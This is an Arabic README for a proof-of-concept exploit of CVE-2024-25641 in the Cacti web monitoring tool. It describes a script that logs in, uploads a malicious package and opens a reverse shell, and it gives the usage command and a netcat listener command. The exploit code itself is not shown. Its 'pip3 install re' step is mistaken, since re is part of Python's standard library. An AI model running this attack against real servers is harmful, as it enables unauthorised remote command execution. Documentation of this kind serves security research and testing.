Cacti CVE-2024-25641 إثبات المفهوم (PoC) لرفع الحزمة المُوثَّق وتنفيذ الأوامر عن بُعد (RCE)

هذا البرنامج النصي هو إثبات مفهوم (PoC) لاستغلال الثغرة CVE-2024-25641 في Cacti، وهي أداة مراقبة قائمة على الويب. يقوم البرنامج النصي بأتمتة عملية المصادقة مع التطبيق، رفع حزمة ضارة، وتشغيل قوقعة عكسية.

المتطلبات

• Python 3.x
• مكتبة requests
• مكتبة argparse
• مكتبة re

يمكنك تثبيت مكتبة Python المطلوبة باستخدام pip3:

pip3 install requests
pip3 install argparse
pip3 install re

الاستخدام

(تأكد من وضع ملف test.xml.gz في نفس المجلد الذي يوجد به ملف exploit.py)

python3 exploit.py --url <TARGET_URL> -u <USERNAME> -p <PASSWORD> -i <LOCAL_IP> -l <PORT> [--proxy]

تشغيل مستمع nc

nc -nvlp <port>